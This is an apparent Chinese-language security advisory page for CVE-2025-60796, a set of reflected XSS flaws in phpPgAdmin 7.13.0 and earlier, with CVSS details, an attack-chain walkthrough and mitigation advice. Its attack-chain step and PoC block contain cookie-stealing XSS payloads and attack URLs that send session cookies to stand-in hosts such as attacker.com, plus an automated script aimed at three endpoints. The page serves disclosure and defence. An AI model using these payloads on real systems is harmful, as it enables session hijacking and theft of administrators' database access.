IPBUF安全漏洞报告
English
CVE-2025-60796 CVSS 6.1 中危

CVE-2025-60796 phpPgAdmin 多处跨站脚本(XSS)漏洞

披露日期: 2025-11-20

漏洞信息

漏洞编号
CVE-2025-60796
漏洞类型
XSS (跨站脚本攻击)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
phpPgAdmin

相关标签

CVE-2025-60796XSS跨站脚本phpPgAdminPostgreSQLWeb安全会话劫持CVE-2025MEDIUMCVSS 6.1

漏洞概述

phpPgAdmin 7.13.0及更早版本存在多处存储型跨站脚本(XSS)漏洞。漏洞源于多个PHP文件中用户通过$_REQUEST参数提交的输入在HTML输出中被直接反射,未经过适当的编码或消毒处理。受影响的文件包括sequences.php、indexes.php、admin.php等多个组件。攻击者可利用这些漏洞在受害者的浏览器中执行任意JavaScript代码,进而可能导致会话劫持、凭据盗窃或其他恶意操作。由于phpPgAdmin是管理PostgreSQL数据库的流行Web工具,管理员在使用该工具时极易受到攻击。漏洞无需认证即可被利用,但需要诱导用户点击恶意构造的链接或访问包含攻击代码的页面。

技术细节

漏洞的核心问题在于phpPgAdmin的多个PHP文件对用户输入缺乏充分的输入验证和输出编码。具体来说,sequences.php(约第316行)、indexes.php(约第29行)和admin.php(约第35行)等文件中,代码直接将从$_REQUEST获取的参数值嵌入到HTML响应中,而未进行HTML实体编码。例如,当用户访问类似/admin.php?action=<script>alert(1)</script>的URL时,攻击者注入的JavaScript代码会被浏览器作为HTML的一部分解析执行。由于phpPgAdmin通常运行在具有高权限的数据库管理上下文中,成功的XSS攻击不仅能够窃取用户会话Cookie,还可能以管理员权限执行数据库操作。攻击者通常通过钓鱼邮件或社交工程手段诱导已登录的管理员访问恶意链接,完成攻击链。修复方案需要在所有用户输入点实施上下文感知的输出编码,并对关键参数使用白名单验证机制。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标环境中运行的phpPgAdmin版本(7.13.0或更早版本),确认存在/admin.php、/indexes.php、/sequences.php等存在XSS漏洞的端点
STEP 2
步骤2
载荷构造:攻击者构造恶意XSS载荷,如<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>,并将其嵌入到漏洞端点的URL参数中
STEP 3
步骤3
诱导点击:攻击者通过钓鱼邮件、即时通讯、社交媒体或恶意网页诱导已登录phpPgAdmin的管理员点击构造好的恶意链接
STEP 4
步骤4
请求触发:受害者的浏览器向目标phpPgAdmin服务器发送HTTP请求,URL参数中包含恶意XSS载荷
STEP 5
步骤5
漏洞反射:服务器端代码将用户输入直接反射到HTTP响应中,未进行HTML编码,恶意载荷作为HTML的一部分返回给浏览器
STEP 6
步骤6
脚本执行:受害者浏览器解析响应时,将恶意JavaScript代码作为合法脚本执行,从而窃取会话Cookie或执行其他恶意操作
STEP 7
步骤7
会话劫持:攻击者利用窃取的会话Cookie冒充管理员身份,执行数据库操作、数据窃取或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-60796 PoC - phpPgAdmin XSS --> <!-- Admin.php XSS PoC --> <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> <!-- Indexes.php XSS PoC --> <script>new Image().src='https://attacker.com/log?c='+document.cookie;</script> <!-- Sequences.php XSS PoC --> <svg/onload=fetch('https://attacker.com/cookie?c='+btoa(document.cookie))> <!-- Example attack URL (admin.php) --> <!-- https://phppgadmin-host/admin.php?action=<script>document.location='https://attacker.com/steal?c='+document.cookie</script> --> <!-- Example attack URL (indexes.php) --> <!-- https://phppgadmin-host/indexes.php?index=<img src=x onerror=fetch('https://evil.com/?c='+document.cookie)> --> <!-- Example attack URL (sequences.php) --> <!-- https://phppgadmin-host/sequences.php?sequence=<script>new Audio().src='https://attacker.com/pwn?d='+btoa(JSON.stringify({cookie:document.cookie,url:location.href}))</script> --> <!-- Automated PoC (JavaScript) --> (function(){ var targets = [ '/admin.php?action=', '/indexes.php?index=', '/sequences.php?sequence=' ]; var payload = '<script>fetch("https://attacker.com/log?c="+btoa(document.cookie))</script>'; targets.forEach(function(t){ var img = new Image(); img.src = t + encodeURIComponent(payload); }); })();

影响范围

phpPgAdmin <= 7.13.0

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1)限制phpPgAdmin的访问来源,仅允许受信任的IP地址访问管理界面;2)在Web服务器层面(如Nginx/Apache)配置URL参数过滤规则,拦截包含<script>、<img>、<svg>等危险HTML标签的请求;3)为phpPgAdmin配置严格的CSP策略,禁用内联脚本执行;4)监控访问日志,及时发现异常的XSS探测行为;5)考虑使用VPN或堡垒机方式访问phpPgAdmin,减少暴露面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表